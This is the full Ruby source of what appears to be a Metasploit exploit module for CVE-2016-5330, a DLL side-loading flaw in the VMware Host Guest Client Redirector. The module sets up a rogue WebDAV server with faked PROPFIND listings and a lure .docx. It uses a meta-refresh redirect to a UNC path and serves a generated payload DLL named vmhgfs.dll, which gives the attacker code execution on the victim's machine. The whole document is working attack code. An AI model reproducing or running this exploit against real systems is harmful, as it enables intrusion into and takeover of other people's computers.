Exploit module for CVE-2016-5330 VMware Host Guest Client Redirector DLL hijack
Yorick Koster
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# Based on WebDAV Application DLL Hijacker module
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DLL side loading vulnerability in VMware Host Guest Client Redirector',
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'Description' => %q{
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A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
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a component of VMware Tools. This issue can be exploited by luring a victim into
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opening a document from the attacker's share. An attacker can exploit this issue to
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execute arbitrary code with the privileges of the target user. This can potentially
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result in the attacker taking complete control of the affected system. If the WebDAV
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Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
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},
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'Author' => 'Yorick Koster',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2016-5330'],
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['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
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['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'PAYLOAD' => 'windows/exec',
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'CMD' => 'C:\\Windows\\System32\\calc.exe',
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},
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'Payload' => { 'Space' => 2048, },
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows x64', {'Arch' => ARCH_X64,} ],
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[ 'Windows x86', {'Arch' => ARCH_X86,} ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'August 5 2016',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
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OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
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OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
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OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]),
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], self.class)
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deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL
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end
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def on_request_uri(cli, request)
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case request.method
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when 'OPTIONS'
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process_options(cli, request)
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when 'PROPFIND'
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process_propfind(cli, request)
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when 'GET'
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process_get(cli, request)
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else
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print_status("#{request.method} => 404 (#{request.uri})")
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resp = create_response(404, "Not Found")
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resp.body = ""
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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end
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end
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def process_get(cli, request)
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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webdav = "\\\\#{myhost}\\"
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if (request.uri =~ /vmhgfs\.dll$/i)
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print_status("GET => DLL Payload (#{request.uri})")
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return if ((p = regenerate_payload(cli)) == nil)
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data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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if (request.uri =~ /\.docx$/i)
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print_status("GET => DOCX (#{request.uri})")
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send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
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return
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end
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if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
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print_status("GET => REDIRECT (#{request.uri})")
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resp = create_response(200, "OK")
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resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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end
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print_status("GET => 404 (#{request.uri})")
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resp = create_response(404, "Not Found")
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resp.body = ""
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cli.send_response(resp)
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end
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#
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# OPTIONS requests sent by the WebDav Mini-Redirector
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#
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def process_options(cli, request)
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print_status("OPTIONS #{request.uri}")
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headers = {
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'MS-Author-Via' => 'DAV',
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'DASL' => '<DAV:sql>',
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'DAV' => '1, 2',
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'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
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'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
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'Cache-Control' => 'private'
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}
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resp = create_response(207, "Multi-Status")
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headers.each_pair {|k,v| resp[k] = v }
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resp.body = ""
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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end
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#
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# PROPFIND requests sent by the WebDav Mini-Redirector
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#
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def process_propfind(cli, request)
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path = request.uri
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print_status("PROPFIND #{path}")
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body = ''
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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my_uri = "http://#{my_host}/"
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if path !~ /\/$/
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if blacklisted_path?(path)
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print_status "PROPFIND => 404 (#{path})"
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resp = create_response(404, "Not Found")
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resp.body = ""
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cli.send_response(resp)
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return
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end
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if path.index(".")
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print_status "PROPFIND => 207 File (#{path})"
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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# send the response
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml; charset="utf8"'
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cli.send_response(resp)
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return
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else
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print_status "PROPFIND => 301 (#{path})"
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resp = create_response(301, "Moved")
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resp["Location"] = path + "/"
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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end
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end
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print_status "PROPFIND => 207 Directory (#{path})"
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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if request["Depth"].to_i > 0
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trail = path.split("/")
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trail.shift
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case trail.length
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when 0
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body << generate_shares(path)
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when 1
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body << generate_files(path)
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end
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else
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print_status "PROPFIND => 207 Top-Level Directory"
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end
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body << "</D:multistatus>"
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body.gsub!(/\t/, '')
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# send the response
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml; charset="utf8"'
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cli.send_response(resp)
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end
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def generate_shares(path)
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share_name = datastore['SHARENAME']
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%Q|
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{share_name}/</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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end
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def generate_files(path)
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trail = path.split("/")
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return "" if trail.length < 2
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%Q|
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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end
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def gen_timestamp(ttype=nil)
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::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
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end
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def gen_datestamp(ttype=nil)
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::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
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end
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# This method rejects requests that are known to break exploitation
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def blacklisted_path?(uri)
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return true if uri =~ /\.exe/i
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return true if uri =~ /\.(config|manifest)/i
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return true if uri =~ /desktop\.ini/i
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return true if uri =~ /lib.*\.dll/i
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return true if uri =~ /\.tmp$/i
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return true if uri =~ /(pcap|packet)\.dll/i
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false
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end
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def exploit
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
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@exploit_unc = "\\\\#{myhost}\\"
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if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
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fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
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end
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print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
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super
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end
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end
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